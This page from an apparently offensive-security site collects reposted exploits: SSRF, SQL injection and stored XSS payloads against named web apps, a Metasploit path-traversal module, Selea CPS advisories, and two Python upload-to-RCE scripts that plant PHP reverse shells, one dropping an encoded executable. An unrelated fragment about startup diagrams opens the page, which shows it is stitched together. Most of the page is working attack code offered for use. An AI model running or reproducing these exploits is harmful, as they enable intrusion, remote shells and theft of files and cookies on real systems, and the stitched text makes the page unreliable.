After setting up your favorite startup diagram, you can see the effect by starting PS.ayxqgvaexko3695.gif

Finally, it is important to note that you should backup in advance before making changes. Otherwise, I can't change it.

HireHackking

osTicket 1.14.2 - SSRF 

# Exploit Title: osTicket 1.14.2 - SSRF
# Date: 18-01-2021
# Exploit Author: Talat Mehmood
# Vendor Homepage: https://osticket.com/
# Software Link: https://osticket.com/download/
# Version: <1.14.3 
# Tested on: Linux
# CVE : CVE-2020-24881

osTicket before 1.14.3 suffers from Server Side Request Forgery [SSRF]. HTML page is rendered on backend server on calling "Print" ticket functionality.

Below are the steps to reproduce this vulnerability:

1. Create a new ticket
2. Select "HTML Format" format.
3. Add an image tag with your payload in src attribute i.e. "<img src=https://mymaliciouswebsite.com">
4. After submitting this comment, print this ticket.
5. You'll receive a hit on your malicious website from the internal server on which osTicket is deployed.

For more details, read my following blog:

https://blackbatsec.medium.com/cve-2020-24881-server-side-request-forgery-in-osticket-eea175e147f0
https://nvd.nist.gov/vuln/detail/CVE-2020-24881
HireHackking 
# Exploit Title: ChurchRota 2.6.4 - RCE (Authenticated)
# Date: 1/19/2021
# Exploit Author: Rob McCarthy (@slixperi)
# Vendor Homepage: https://github.com/Little-Ben/ChurchRota
# Software Link: https://github.com/Little-Ben/ChurchRota
# Version: 2.6.4
# Tested on: Ubuntu

import requests
from pwn import listen

############################################################################################################
# Description                                                                                              #
# Church Rota version 2.6.4 is vulnerable to authenticated remote code execution.                          #
# The user does not need to have file upload permission in order to upload and execute an arbitrary file.  #
# The application is written primarily with PHP so we use PHP in our PoC                                   #
############################################################################################################

# credentials of the low privilege user
USERNAME='slixperi'
PASSWORD='slixperi'

LISTENER_IP = '127.0.0.1'
LISTENER_PORT = '4444'
TARGET_IP = '127.0.0.1'
TARGET_PORT = '8081'

# set the credentials for login POST
credentials = {"username":USERNAME,"password":PASSWORD}
# create a session to preserve session state
sesh = requests.session()
# login as our low-privilege user (normally only admins can upload files)
sesh.post(f"http://{TARGET_IP}:{TARGET_PORT}/login.php", data=credentials)

# define the payload
payload = f"<?php $sock=fsockopen(\"{LISTENER_IP}\",{LISTENER_PORT});$proc=proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>"

# file upload
sesh.headers.update({"Referer": f"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=new"})
files = {'resourcefile': ("shell.php", payload)}
sesh.post(f"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=newsent", files=files)

l = listen(LISTENER_PORT)

# execute the file
sesh.get(f"http://{TARGET_IP}:{TARGET_PORT}/documents/shell.php")

l.interactive()
HireHackking 
# Exploit Title: Oracle Business Intelligence Enterprise Edition 11.1.1.7.140715 - Stored XSS
# Exploit Author: omurugur
# Vendor Homepage: https://www.oracle.com/security-alerts/cpujan2021.html
# Version: 11.1.1.7.140715
# Author Web: https://www.justsecnow.com
# Author Social: @omurugurrr

Stored  XSS:

“;!—“”<script>alert(document.cookie);</script>=&{(alert(document.cokie))}

Vulnerable area = Dashboard - Add New Text
HireHackking 
# Exploit Title: Apartment Visitors Management System 1.0 - 'email' SQL Injection
# Date: 20.01.2021
# Exploit Author: CANKAT ÇAKMAK
# Vendor Homepage: https://phpgurukul.com/apartment-visitors-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10395
# Version: V1.0
# Tested on: Windows 10

----------------------------------------------------

POST /avms/forgot-password.php HTTP/1.1
Host: test.com
Content-Length: 42
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: test.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://test.com/avms/forgot-password.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7


email=test%40gmail.com&contactno=1&submit=

----------------------------------------------------

poC:


Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=test@gmail.com' AND (SELECT 2600 FROM
(SELECT(SLEEP(5)))jpeB) AND 'WVFv'='WVFv&contactno=1&submit=
HireHackking 
# Exploit Title: Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution)
# Date: 19/01/2021
# Exploit Author: Richard Jones
# Vendor Homepage:https://www.sourcecodester.com/php/12306/voting-system-using-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Windows 10 2004 + XAMPP 7.4.4

import requests

# --- Edit your settings here ----
IP = "192.168.1.207" # Website's URL
USERNAME = "potter" #Auth username
PASSWORD = "password" # Auth Password
REV_IP = "192.168.1.207" # Reverse shell IP
REV_PORT = "8888" # Reverse port 
# --------------------------------

INDEX_PAGE = f"http://{IP}/votesystem/admin/index.php"
LOGIN_URL = f"http://{IP}/votesystem/admin/login.php"
VOTE_URL = f"http://{IP}/votesystem/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/votesystem/images/shell.php"

payload = """
  
<?php

header('Content-type: text/plain');
$ip   = "IIPP";
$port = "PPOORRTT";
$payload = "7Vh5VFPntj9JDklIQgaZogY5aBSsiExVRNCEWQlCGQQVSQIJGMmAyQlDtRIaQGKMjXUoxZGWentbq1gpCChGgggVFWcoIFhpL7wwVb2ABT33oN6uDm+tt9b966233l7Z39779/32zvedZJ3z7RO1yQjgAAAAUUUQALgAvBEO8D+LBlWqcx0VqLK+4XIBw7vhEr9VooKylIoMpVAGpQnlcgUMpYohpVoOSeRQSHQcJFOIxB42NiT22xoxoQDAw+CAH1KaY/9dtw+g4cgYrAMAoQEd1ZPopwG1lai2v13dDI59s27M2/W/TX4zhwru9Qi9jem/4fTfbwKt54cB/mPZagIA5n+QlxCT5PnaOfm7BWH/cn37UJ7Xv7fxev+z/srjvOF5/7a59rccu7/wTD4enitmvtzFxhprXWZ0rHvn3Z0jVw8CQCEVZbgBwCIACBhqQ5A47ZBfeQSHAxSZYNa1EDYRIIDY6p7xKZBNRdrZFDKdsWhgWF7TTaW3gQTrZJAUYHCfCBjvctfh6OWAJ2clIOCA+My6kdq5XGeKqxuRW9f10cvkcqZAGaR32rvd+nNwlW5jf6ZCH0zX+c8X2V52wbV4xoBS/a2R+nP2XDqFfFHbPzabyoKHbB406JcRj/qVH/afPHd5GLfBPH+njrX2ngFeBChqqmU0N72r53JM4H57U07gevzjnkADXhlVj5kNEHeokIzlhdpJDK3wuc0tWtFJwiNpzWUvk7bJbXOjmyE7+CAcGXj4Vq/iFd4x8IC613I+0IoWFOh0qxjnLUgAYYnLcL3N+W/tCi8ggKXCq2vwNK6+8ilmiaHKSPZXdKrq1+0tVHkyV/tH1O2/FHtxVgHmccSpoZa5ZCO9O3V3P6aoKyn/n69K535eDrNc9UQfmDw6aqiuNFx0xctZ+zBD7SOT9oXWA5kvfUqcLxkjF2Ejy49W7jc/skP6dOM0oxFIfzI6qbehMItaYb8E3U/NzAtnH7cCnO7YlAUmKuOWukuwvn8B0cHa1a9nZJS8oNVsvJBkGTRyt5jjDJM5OVU87zRk+zQjcUPcewVDSbhr9dcG+q+rDd+1fVYJ1NEnHYcKkQnd7WdfGYoga/C6RF7vlEEEvdTgT6uwxAQM5c4xxk07Ap3yrfUBLREvDzdPdI0k39eF1nzQD+SR6BSxed1mCWHCRWByfej33WjX3vQFj66FVibo8bb1TkNmf0NoE/tguksTNnlYPLsfsANbaDUBNTmndixgsCKb9QmV4f2667Z1n8QbEprwIIfIpoh/HnqXyfJy/+SnobFax1wSy8tXWV30MTG1UlLVKPbBBUz29QEB33o2tiVytuBmpZzsp+JEW7yre76w1XOIxA4WcURWIQwOuRd0D1D3s1zYxr6yqp8beopn30tPIdEut1sTj+5gdlNSGHFs/cKD6fTGo1WV5MeBOdV5/xCHpy+WFvLO5ZX5saMyZrnN9mUzKht+IsbT54QYF7mX1j7rfnnJZkjm72BJuUb3LCKyMJiRh23fktIpRF2RHWmszSWNyGSlQ1HKwc9jW6ZX3xa693c8b1UvcpAvV84NanvJPmb9ws+1HrrKAphe9MaUCDyGUPxx+osUevG0W3D6vhun9AX2DJD+nXlua7tLnFX197wDTIqn/wcX/4nEG8RjGzen8LcYhNP3kYXtkBa28TMS2ga0FO+WoY7uMdRA9/r7drdA2udNc7d6U7C39NtH7QvGR1ecwsH0Cxi7JlYjhf3A3J76iz5+4dm9fUxwqLOKdtF1jW0Nj7ehsiLQ7f6P/CE+NgkmXbOieExi4Vkjm6Q7KEF+dpyRNQ12mktNSI9zwYjVlVfYovFdj2P14DHhZf0I7TB22IxZ+Uw95Lt+xWmPzW7zThCb2prMRywnBz4a5o+bplyAo0eTdI3vOtY0TY1DQMwx0jGv9r+T53zhnjqii4yjffa3TyjbRJaGHup48xmC1obViCFrVu/uWY2daHTSAFQQwLww7g8mYukFP063rq4AofErizmanyC1R8+UzLldkxmIz3bKsynaVbJz6E7ufD8OTCoI2fzMXOa67BZFA1iajQDmTnt50cverieja4yEOWV3R32THM9+1EDfyNElsyN5gVfa8xzm0CsKE/Wjg3hPR/A0WDUQ1CP2oiVzebW7RuG6FPYZzzUw+7wFMdg/0O1kx+tu6aTspFkMu0u3Py1OrdvsRwXVS3qIAQ/nE919fPTv6TusHqoD9P56vxfJ5uyaD8hLl1HbDxocoXjsRxCfouJkibeYUlQMOn+TP62rI6P6kHIewXmbxtl59BxMbt6Hn7c7NL7r0LfiF/FfkTFP1z7UF9gOjYqOP694ReKlG8uhCILZ4cLk2Louy9ylYDaB5GSpk03l7upb584gR0DH2adCBgMvutH29dq9626VPPCPGpciG6fpLvUOP4Cb6UC9VA9yA9fU1i+m5Vdd6SaOFYVjblJqhq/1FkzZ0bTaS9VxV1UmstZ8s3b8V7qhmOa+3Klw39p5h/cP/woRx4hVQfHLQV7ijTbFfRqy0T0jSeWhjwNrQeRDY9fqtJiPcbZ5xED4xAdnMnHep5cq7+h79RkGq7v6q+5Hztve262b260+c9h61a6Jpb+ElkPVa9Mnax7k4Qu+Hzk/tU+ALP6+Frut4L8wvwqXOIaVMZmDCsrKJwU91e/13gGfet8EPgZ8eoaeLvXH+JpXLR8vuALdasb5sXZVPKZ7Qv+8X0qYKPCNLid6Xn7s92DbPufW/GMMQ4ylT3YhU2RP3jZoIWsTJJQvLzOb4KmixmIXZAohtsI0xO4Ybd9QtpMFc0r9i+SkE/biRFTNo+XMzeaXFmx0MEZvV+T2DvOL4iVjg0hnqSF5DVuA58eyHQvO+yIH82Op3dkiTwGDvTOClHbC54L6/aVn9bhshq5Zntv6gbVv5YFxmGjU+bLlJv9Ht/Wbidvvhwa4DwswuF155mXl7pcsF8z2VUyv8Qa7QKpuTN//d9xDa73tLPNsyuCD449KMy4uvAOH80+H+nds0OGSlF+0yc4pyit0X80iynZmCc7YbKELGsKlRFreHr5RYkdi1u0hBDWHIM7eLlj7O/A8PXZlh5phiVzhtpMYTVzZ+f0sfdCTpO/riIG/POPpI3qonVcE636lNy2w/EBnz7Os+ry23dIVLWyxzf8pRDkrdsvZ7HMeDl9LthIXqftePPJpi25lABtDHg1VWK5Gu7vOW9fBDzRFw2WWAMuBo6Xbxym8Fsf9l0SV3AZC7kGCxsjFz95ZcgEdRSerKtHRePpiaQVquF8KOOiI58XEz3BCfD1nOFnSrTOcAFFE8sysXxJ05HiqTNSd5W57YvBJU+vSqKStAMKxP+gLmOaOafL3FLpwKjGAuGgDsmYPSSpJzUjbttTLx0MkvfwCQaQAf102P1acIVHBYmWwVKhSiVWpPit8M6GfEQRRbRVLpZA/lKaQy8VpsFhEIgHB0VFxMaHB6CxiYnKAKIk8I2fmNAtLZGIoXSiRqpVifxIAQRskNQ6bXylhtVD6njqPGYhXKL/rqrkOLUzNW6eChDBWJFo63lv7zXbbrPU+CfJMuSJHDmUVjshrxtUixYYPFGmLJAqGUgHXX5J1kRV7s9er6GEeJJ/5NdluqRLhkvfFhs+whf0Qzspoa7d/4ysE834sgNlJxMylgGAJxi3f8fkWWd9lBKEAXCpRiw2mgjLVBCeV6mvFowZg7+E17kdu5iyJaDKlSevypzyxoSRrrpkKhpHpC6T0xs6p6hr7rHmQrSbDdlnSXcpBN8IR2/AkTtmX7BqWzDgMlV6LC04oOjVYNw5GkAUg1c85oOWTkeHOYuDrYixI0eIWiyhhGxtT6sznm4PJmTa7bQqkvbn8lt044Oxj890l3VtssRWUIGuBliVcQf8yrb1NgGMu2Ts7m1+pyXliaZ9LxRQtm2YQBCFaq43F+t24sKJPh3dN9lDjGTDp6rVms5OEGkPDxnZSs0vwmZaTrWvuOdW/HJZuiNaCxbjdTU9IvkHkjVRv4xE7znX3qLvvTq+n0pMLIEffpLXVV/wE5yHZO9wEuojBm3BeUBicsdBXS/HLFdxyv5694BRrrVVM8LYbH7rvDb7D3V1tE3Z31dG9S9YGhPlf71g+/h6peY/K573Q0EjfHutRkrnZdrPR/Nx4c/6NgpjgXPn+1AM3lPabaJuLtO717TkhbaVJpCLp8vFPQyE+OdkdwGws2WN78WNC/ADMUS/EtRyKKUmvPSrFTW8nKVllpyRlvrxNcGGpDHW/utgxRlWpM47cXIbzWK0KjyeI7vpG3cXBHx48fioKdSsvNt180JeNugNPp/G9dHiw7Mp6FuEdP1wYWuhUTFJ6libBKCsrMZbB142LSypxWdAyEdoHZLmsqrQC3GieGkZHQBZOFhLxmeacNRRfn8UEEw6BSDv3/svZRg7AwtklaCK5QBKOUrB3DzG/k8Ut9RRigqUKlRh83jsdIZSLpGKlWAiLY5SKNOT6cPV+Li1EbA+LJbAkTSiNE6dV9/A4cQ6hcjulfbVVZmIu3Z8SvqJHrqhZmC2hymXipRuE7sLUjurA6kgukydUsZRzlDbPb3z4MkohUksLnEO4yPiQlX1EHLwaVmetlacrDvUkqyB8Trbk/U/GZeIu3qVseyKcIN/K//lV9XLR58ezHMIkUjMLq1wxES9VCU9I1a9ivB/eOJMPB9CqZDWODTaJwqSwqjjyyDdWw2ujU7fND/+iq/qlby6fnxEumy//OkMb1dGgomZhxRib9B07XlTLBsVuKr4wiwHnZdFqb8z+Yb8f4VCq1ZK2R6c9qAs9/eAfRmYn00uZBIXESp6YMtAnXQhg0uen5zzvTe7PIcjEsrSsvNUElSRD3unww3WhNDs9CypOP1sp7Rr/W1NiHDeOk7mQa1cfVG5zpy246x2pU531eShXlba8dkLYsCNVIhd5qwJmJTukgw4dGVsV2Z2b6lPztu86tVUuxePD25Uq6SZi/srizBWcgzGhPAwR7Z/5GkFLc2z7TOdM9if/6ADM0mFNQ9IQPpl+2JO8ec78bsd7GDAgT36LepLCyVqCAyCC8s4KkM6lZ3Xi13kctDIuZ+JalYDn9jaPD2UllObdJQzj4yLyVC+4QOAk8BANRN5eIRWen8JWOAwNyVyYJg+l2yTdEN3a6crkeIi3FnRAPUXKspM4Vcwc15YJHi5VrTULwkp3OmpyJMFZo5iKwRP4ecGx8X40QcYB5gm2KyxVHaI8DYCMi7Yyxi7NBQoYbzpVNoC87VkFDfaVHMDQYOEjSKL2BmKhG1/LHnxYCSEc06Um6OdpR6YZXcrhCzNt/O8QhgnTpRpVW78NVf1erdoBnNLmSh8RzdaOITCsu/p7fusfAjXE/dPkH4ppr2ALXgLPEER7G2OwW6Z9OZ1N24MNQhe1Vj0xmIY+MYx6rLYR1BG010DtIJjzC+bWIA+FU3QTtTvRle4hhLsPBGByJjRrAPVTPWEPH0y/MkC8YqIXNy2e1FgGMGMzuVYlHT92GhoAIwDoCdYmOEDPBw2FnoAJ3euzGO01InJYhPqH0HJEE9yte5EY8fRMAnJ45sUESifocFozaHmMHM5FAf0ZKTqi1cYQpH7mVUFM/DYwLhG5b9h9Ar16GihfI3DLT4qJj5kBkwzHZ4iG+rVoUqKX6auNa2O2YeKQ20JDCFuzDVjZpP5VO6QZ9ItFEMucDQ2ghgNMf1Nkgm224TYiMJv+469Iu2UkpZGCljZxAC2qdoI39ncSYeIA/y//C6S0HQBE7X/EvkBjzZ+wSjQu+RNWj8bG9v++bjOK30O1H9XnqGJvAwD99pu5eW8t+631fGsjQ2PXh/J8vD1CeDxApspOU8LoMU4KJMZ581H0jRsdHPmWAfAUQhFPkqoUKvO4ABAuhmeeT1yRSClWqQBgg+T10QzFYPRo91vMlUoVab9FYUqxGP3m0FzJ6+TXiQBfokhF//zoHVuRlimG0dozN+f/O7/5vwA=";
$evalCode = gzinflate(base64_decode($payload));
$evalArguments = " ".$port." ".$ip;
$tmpdir ="C:\\windows\\temp";
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
$filename = "D3fa1t_shell.exe";
$file = fopen($filename, 'wb');
fwrite($file, $evalCode);
fclose($file);
$path = $filename;
$cmd = $path.$evalArguments;
$res .= "\n\nExecuting : ".$cmd."\n";
echo $res;
$output = system($cmd);
			            
?>
"""
payload = payload.replace("IIPP", REV_IP)
payload = payload.replace("PPOORRTT", REV_PORT)

s = requests.Session()

def getCookies():
    r = s.get(INDEX_PAGE)
    return r.cookies

def login():
    cookies = getCookies()
    data = {
        "username":USERNAME,
        "password":PASSWORD,
        "login":""
    }
    r = s.post(LOGIN_URL, data=data, cookies=cookies)
    if r.status_code == 200:
        print("Logged in")
        return True
    else:
        return False

def sendPayload():
    if login():
        global payload
        payload = bytes(payload, encoding="UTF-8")
        files  = {'photo':('shell.php',payload, 
                    'image/png', {'Content-Disposition': 'form-data'}
                  ) 
              }
        data = {
            "firstname":"a",
            "lastname":"b",
            "password":"1",
            "add":""
        }
        r = s.post(VOTE_URL, data=data, files=files)
        if r.status_code == 200:
            print("Poc sent successfully")
        else:
            print("Error")

def callShell():
    r = s.get(CALL_SHELL, verify=False)
    if r.status_code == 200:
        print("Shell called check your listiner")
print("Start a NC listner on the port you choose above and run...")
sendPayload()
callShell()
HireHackking 
# Exploit Title: Online Documents Sharing Platform 1.0 - 'user' SQL Injection
# Date: 21.01.2021
# Exploit Author: CANKAT ÇAKMAK
# Vendor Homepage: https://www.sourcecodester.com/php/14653/online-documents-sharing-platform-php-full-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/notes.zip
# Version: V1.0
# Tested on: Windows 10

#Description: The 'user' parameterer is vulnerable to error-based and time-based SQL Injection.

----------------------------------------------------

POST /path/login.php HTTP/1.1
Host: test.com
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://test.com/path/login.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7

user=%27&pass=%27&login=login

----------------------------------------------------

#PoC:

Parameter: user (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: user=' AND (SELECT 2047 FROM(SELECT
COUNT(*),CONCAT(0x7176706a71,(SELECT
(ELT(2047=2047,1))),0x7162787071,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NRPK&pass='&login=login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user=' AND (SELECT 2110 FROM (SELECT(SLEEP(5)))pSYW)--
HnhM&pass='&login=login
HireHackking 
# Exploit Title: Nagios XI 5.7.5 - Multiple Persistent Cross-Site Scripting
# Date: 1-20-2021
# Exploit Author: Matthew Aberegg
# Vendor Homepage: https://www.nagios.com/products/nagios-xi/
# Vendor Changelog: https://www.nagios.com/downloads/nagios-xi/change-log/
# Software Link: https://www.nagios.com/downloads/nagios-xi/
# Version: Nagios XI 5.7.5
# Tested on: Ubuntu 18.04


# Vulnerability Details
# Description : A persistent cross-site scripting vulnerability exists in the "My Tools" functionality of Nagios XI.
# Vulnerable Parameter : url


# POC
# Exploit Details : The following request will create a tool with an XSS payload. Click on the URL link for the malicious tool to trigger the payload.

POST /nagiosxi/tools/mytools.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 145
Origin: http://TARGET
Connection: close
Referer: http://TARGET/nagiosxi/tools/mytools.php?edit=1
Cookie: nagiosxi=5kbmap730ic023ig2q0bpdefas
Upgrade-Insecure-Requests: 1

nsp=a2569a2507c7c69600769ca7388614b4264ab9479c560ac62bbc5f9fd76c2524&update=1&id=-1&name=XSS+Test&url=%27+onclick%3D%27alert%281%29&updateButton=


############################################################################################################

# Vulnerability Details
# Description : A persistent cross-site scripting vulnerability exists in "Business Process Intelligence" functionality of Nagios XI.
# Vulnerable Parameter : groupID


# POC
# Exploit Details : The following request will create a BPI group with an XSS payload.  Click on the Group ID for the malicious BPI group to trigger the payload.

POST /nagiosxi/includes/components/nagiosbpi/index.php?cmd=add HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 186
Origin: http://TARGET
Connection: close
Referer: http://TARGET/nagiosxi/includes/components/nagiosbpi/index.php?cmd=add&tab=add
Cookie: nagiosxi=6lg3d4mqgsgsllclli1hch00td
Upgrade-Insecure-Requests: 1

groupID=%27onclick%3Dalert%281%29%2F%2F&groupType=default&groupTitle=TEST&groupDesc=&groupInfoUrl=&groupPrimary=1&groupWarn=90&groupCrit=80&groupDisplay=2&addSubmitted=true


############################################################################################################

# Vulnerability Details
# Description : A persistent cross-site scripting vulnerability exists in "Views" functionality of Nagios XI.
# Vulnerable Parameter : url


# POC
# Exploit Details : The following request will create a view with an XSS payload.  Click on the malicious view to trigger the payload.

POST /nagiosxi/ajaxhelper.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 147
Origin: http://TARGET
Connection: close
Referer: http://TARGET/nagiosxi/account/
Cookie: nagiosxi=6lg3d4mqgsgsllclli1hch00td

cmd=addview&url=javascript:alert(1)&title=TESTVIEW&submitButton=&nsp=c97136052a4b8d7d535c7d4a7a32389a5882c65cb34f2c36b849f72af52b2056
HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
    include Msf::Auxiliary::Report
    include Msf::Exploit::Remote::HTTP::Wordpress
    include Msf::Auxiliary::Scanner

      def initialize(info = {})
          super(update_info(info,
            'Name'           => 'Simple JobBoard Authenticated File Read Vulnerability',
            'Description'    => %q{
                This module exploits an authenticated directory traversal vulnerability in WordPress plugin 'Simple JobBoard ' < 2.9.3,
                allowing arbitrary file read with the web server privileges.
            },
            'Author'         =>
              [
                'Arcangelo Saracino', # Vulnerability discovery
                'Hoa Nguyen - Suncsr Team',    # Metasploit module
              ],
            'License'        => MSF_LICENSE,
            'References'     =>
              [
                ['CVE', '2020-35749'],
                ['WPVDB', 'eed3bd69-2faf-4bc9-915c-c36211ef9e2d'],
                ['URL','https://arkango.github.io/CVE-2020/CVE-2020-35749%20DIr.%20Traversal%20Simple%20Board%20Job%20Wordpress%20plugin.html']
              ],
            'DisclosureDate' => 'Jan 15 2021'))

            register_options([
                OptString.new('FILEPATH',[true,'The path to the file to read','/etc/passwd']),
                OptString.new('USERNAME',[true,'The WordPress username to authenticate with']),
                OptString.new('PASSWORD',[true,'The Wordpress password to authenticate with']),
                OptInt.new('DEPTH',[true,'Traversal Depth (to reach the root folder',8]),
            ])
            end

            def username
                datastore['USERNAME']
            end

            def password
                datastore['PASSWORD']
            end

            def check
                cookie = wordpress_login(username,password)
                if cookie.nil?
                    store_valid_credential(user: username, private: password, proof: cookie)
                    return CheckCode::Safe
                end
                CheckCode::Appears
            end

            def run_host(ip)
                cookie = wordpress_login(username, password)
                traversal = '../' * datastore['DEPTH']
                filename = datastore['FILEPATH']
                filename = filename[1, filename.length] if filename =~ /^\//

                res = send_request_cgi({
                    'cookie' => cookie,
                    'method' => 'GET',
                    'uri' => normalize_uri(target_uri.path,'wp-admin',''),
                    'vars_get' =>
                    {
                        'post' => 'application_id',
                        'action' => 'edit',
                        'sjb_file' => "#{traversal}#{filename}"
                    }
                })

                fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothingn was downloaded' if res.code != 200
                fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?
                print_good('Downloading file ...')
                print_line("\n#{res.body}\n")
                fname = datastore['FILEPATH']
                path = store_loot(
                    'Simple_JobBoard.traversal',
                    'text/plain',
                    ip,
                    res.body,
                    fname
                )
                print_good("File save in: #{path}")
            end
        end
HireHackking 
# Exploit Title: Selea CarPlateServer (CPS) 4.0.1.6 - Local Privilege Escalation
# Date: 08.11.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.selea.com

Selea CarPlateServer (CPS) v4.0.1.6 Local Privilege Escalation


Vendor: Selea s.r.l.
Product web page: https://www.selea.com
Affected version: 4.0.1.6(210120)
                  4.013(201105)
                  3.100(200225)
                  3.005(191206)
                  3.005(191112)

Summary: Our CPS (Car Plate Server) software is an advanced solution that can
be installed on computers and servers and used as an operations centre. It can
create sophisticated traffic control and road safety systems connecting to
stationary, mobile or vehicle-installed ANPR systems. CPS allows to send alert
notifications directly to tablets or smartphones, it can receive and transfer
data through safe encrypted protocols (HTTPS and FTPS). CPS is an open solution
that offers full integration with main video surveillance software. Our CPS
software connects to the national operations centre and provides law enforcement
authorities with necessary tools to issue alerts. CPS is designed to guarantee
cooperation among different law enforcement agencies. It allows to create a
multi-user environment that manages different hierarchy levels and the related
division of competences.

Desc: The application suffers from an unquoted search path issue impacting the
service 'Selea CarPlateServer' for Windows deployed as part of Selea CPS software
application. This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system. A successful
attempt would require the local user to be able to insert their code in the system
root path undetected by the OS or other security applications where it could
potentially be executed during application startup or reboot. If successful, the
local user's code would execute with the elevated privileges of the application.

Tested on: Microsoft Windows 10 Enterprise
           SeleaCPSHttpServer/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5621
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5621.php


08.11.2020

--


C:\Users\Smurf>sc qc "Selea CarPlateServer"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Selea CarPlateServer
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:/Program Files/Selea/CarPlateServer/CarPlateService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Selea CarPlateServer
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\Smurf>
HireHackking 
# Exploit Title: Selea CarPlateServer (CPS) 4.0.1.6 - Remote Program Execution
# Date: 08.11.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.selea.com

Selea CarPlateServer (CPS) v4.0.1.6 Remote Program Execution


Vendor: Selea s.r.l.
Product web page: https://www.selea.com
Affected version: 4.0.1.6(210120)
                  4.013(201105)
                  3.100(200225)
                  3.005(191206)
                  3.005(191112)

Summary: Our CPS (Car Plate Server) software is an advanced solution that can
be installed on computers and servers and used as an operations centre. It can
create sophisticated traffic control and road safety systems connecting to
stationary, mobile or vehicle-installed ANPR systems. CPS allows to send alert
notifications directly to tablets or smartphones, it can receive and transfer
data through safe encrypted protocols (HTTPS and FTPS). CPS is an open solution
that offers full integration with main video surveillance software. Our CPS
software connects to the national operations centre and provides law enforcement
authorities with necessary tools to issue alerts. CPS is designed to guarantee
cooperation among different law enforcement agencies. It allows to create a
multi-user environment that manages different hierarchy levels and the related
division of competences.

Desc: The server suffers from an arbitrary win32/64 binary executable execution
when setting the NO_LIST_EXE_PATH variable to a program of choice. The command
will be executed if proper trigger criteria is met. It can be exploited via CSRF
or by navigating to /cps/ endpoint from the camera IP and bypass authentication
gaining the ability to modify the running configuration including changing the
password of admin and other users.

Tested on: Microsoft Windows 10 Enterprise
           SeleaCPSHttpServer/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5622
